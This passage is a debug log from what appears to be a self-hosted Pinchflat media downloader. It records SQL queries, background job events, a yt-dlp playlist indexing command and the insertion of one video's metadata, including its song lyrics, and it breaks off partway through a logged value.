false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:22:44.218 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:44.218 [debug] Replied in 1ms 22:22:44.694 [info] {"args":{"force":true,"id":1},"id":223,"meta":{},"system_time":1784859764694388975,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:22:44.695 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=477.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:44.696 [debug] QUERY OK source="settings" db=0.4ms idle=478.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:44.697 [debug] QUERY OK source="media_items" db=0.6ms idle=478.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:22:44.698 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=169.4ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:22:44.699 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:44.700 [debug] QUERY OK source="settings" db=0.3ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:44.700 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 22:22:44.701 [debug] Current batch of media processed. Will check again in 1000ms 22:22:44.701 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:44.701 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:44.701 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:44.701 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://m.youtube.com/playlist?list=PL_trH6zRu85NAi_KMABvQWpQ0gKmrj7QY --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/01/a7/01a7ddf2c1ff3f49a2f63736349ea0c2a00829c80bc614abf1ba97e1e2f36e71.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:22:45.702 [debug] Current batch of media processed. Will check again in 1000ms 22:22:46.440 [info] GET /sources 22:22:46.440 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 22:22:46.441 [debug] QUERY OK source="settings" db=0.2ms idle=1741.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:46.441 [debug] QUERY OK source="settings" db=0.1ms idle=1740.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:46.442 [debug] QUERY OK source="settings" db=0.1ms idle=1740.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:46.442 [debug] QUERY OK source="settings" db=0.0ms idle=1740.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:46.442 [debug] QUERY OK source="settings" db=0.0ms idle=912.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:46.443 [debug] QUERY OK source="sources" db=0.4ms idle=1.5ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:22:46.444 [debug] QUERY OK source="sources" db=0.9ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:22:46.446 [info] Sent 200 in 5ms 22:22:46.558 [info] CONNECTED TO Phoenix.LiveView.Socket in 16µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "PF1CWCd7DyU9NEYZASEcbhcIQCAcNhQXU0qoN3fdVRrIcl-8GbtSOBCT", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:22:46.567 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 22:22:46.567 [debug] QUERY OK source="sources" db=0.5ms idle=124.6ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:22:46.568 [debug] QUERY OK source="sources" db=0.8ms idle=125.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:22:46.569 [debug] Replied in 2ms 22:22:46.703 [debug] Current batch of media processed. Will check again in 1000ms 22:22:47.289 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:47.704 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "duration" => 321, "filename" => "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", "id" => "vmLT3BHtZYU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vmLT3BHtZYU", "playlist_index" => 1, "timestamp" => 1539074280, "title" => "Glass Animals - The Other Side of Paradise (legendado)", "upload_date" => "20181009"} 22:22:47.705 [debug] QUERY OK source="sources" db=0.4ms idle=415.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:47.706 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=172.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:47.707 [debug] QUERY OK source="media_items" db=0.3ms idle=28.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-09 08:38:00Z], 1] 22:22:48.126 [debug] QUERY OK source="media_items" db=418.5ms idle=29.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "Glass Animals - The Other Side of Paradise (legendado)", "5f5b535b-0e08-4bf1-a70a-7f36e555aada", false, "vmLT3BHtZYU", 321, false, "https://www.youtube.com/watch?v=vmLT3BHtZYU", 1, "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", false, false, 1, [], 1, ~U[2018-10-09 08:38:00Z], ~U[2026-07-24 02:22:47Z], ~U[2026-07-24 02:22:47Z], "• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold 